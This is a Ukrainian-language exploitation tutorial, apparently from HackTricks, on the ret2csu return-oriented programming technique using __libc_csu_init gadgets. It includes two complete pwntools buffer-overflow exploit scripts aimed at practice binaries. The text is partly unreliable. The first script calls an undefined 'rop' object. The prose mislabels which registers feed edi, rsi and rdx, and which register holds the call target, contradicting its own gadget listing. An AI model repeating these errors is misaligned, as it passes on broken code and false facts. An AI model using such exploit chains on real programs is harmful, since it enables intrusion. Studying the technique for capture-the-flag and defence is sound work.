Ret2csu

Вивчайте та практикуйте взлом AWS: Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfОсновна інформація

ret2csu - це техніка взлому, яку використовують, коли ви намагаєтеся отримати контроль над програмою, але не можете знайти гаджети, які зазвичай використовуєте для маніпулювання поведінкою програми.

Коли програма використовує певні бібліотеки (наприклад, libc), вона має деякі вбудовані функції для управління тим, як різні частини програми спілкуються між собою. Серед цих функцій є деякі приховані скарби, які можуть діяти як наші відсутні гаджети, особливо один під назвою __libc_csu_init.

Магічні гаджети в __libc_csu_init

У __libc_csu_init є дві послідовності інструкцій (гаджети), які варто виділити:

  1. Перша послідовність дозволяє нам встановлювати значення в кількох регістрах (rbx, rbp, r12, r13, r14, r15). Це схоже на слоти, де ми можемо зберігати числа або адреси, які ми хочемо використовувати пізніше.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Цей гаджет дозволяє нам контролювати ці регістри, витягаючи значення зі стеку в них.

  1. Друга послідовність використовує встановлені нами значення для виконання кількох дій:

  • Переміщення конкретних значень в інші регістри, готуючи їх для використання як параметрів у функціях.

  • Виклик до місця, визначеного додаванням значень у r15 та rbx, а потім множенням rbx на 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Можливо, ви не знаєте жодної адреси для запису туди і вам потрібна інструкція ret. Зверніть увагу, що другий гаджет також закінчується на ret, але вам потрібно виконати деякі умови, щоб досягти його:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Умови будуть такі:

  • [r12 + rbx*8] повинен вказувати на адресу, де зберігається викликана функція (якщо немає ідеї і немає pie, можна просто використовувати функцію _init):

  • Якщо _init знаходиться за адресою 0x400560, скористайтеся GEF для пошуку вказівника в пам'яті на цю функцію та зробіть так, щоб [r12 + rbx*8] був адресою з вказівником на _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp та rbx повинні мати однакове значення, щоб уникнути стрибка

  • Є деякі пропущені pops, які потрібно врахувати

RDI та RSI

Інший спосіб керування rdi та rsi з гаджетом ret2csu полягає в доступі до конкретних зсувів:

Перевірте цю сторінку для отримання додаткової інформації:

BROP - Blind Return Oriented Programming

Приклад

Використання виклику

Уявіть, що ви хочете зробити системний виклик або викликати функцію, наприклад write(), але потрібні конкретні значення в реєстрах rdx та rsi як параметри. Зазвичай ви шукали б гаджети, які прямо встановлюють ці регістри, але ви не можете знайти жодного.

Ось де використовується ret2csu:

  1. Налаштування регістрів: Використовуйте перший магічний гаджет для викидання значень зі стеку в rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.

  2. Використання другого гаджету: З цими встановленими регістрами ви використовуєте другий гаджет. Це дозволяє перемістити вибрані значення в rdx та rsi (відповідно з r14 та r13), готуючи параметри для виклику функції. Більше того, керуючи r15 та rbx, ви можете зробити програму викликати функцію, розташовану за адресою, яку ви обчислите та помістите в [r15 + rbx*8].

У вас є приклад використання цієї техніки та пояснення тут, і ось остаточний експлойт, який використовувався:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Зверніть увагу, що попередній експлойт не призначений для виконання RCE, він призначений лише для виклику функції під назвою win (отримання адреси win зі stdin, виклик функції gets у ланцюжку ROP та збереження її в r15) з третім аргументом зі значенням 0xdeadbeefcafed00d.

Обхід виклику та досягнення ret

Наступний експлойт був витягнутий з цієї сторінки, де використовується ret2csu, але замість використання виклику, він обходить порівняння та досягає ret після виклику:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Чому б просто не використовувати libc безпосередньо?

Зазвичай ці випадки також вразливі до ret2plt + ret2lib, але іноді потрібно керувати більшою кількістю параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція write() потребує три параметри, і знаходження гаджетів для встановлення всіх цих параметрів безпосередньо може бути неможливим.

Last updated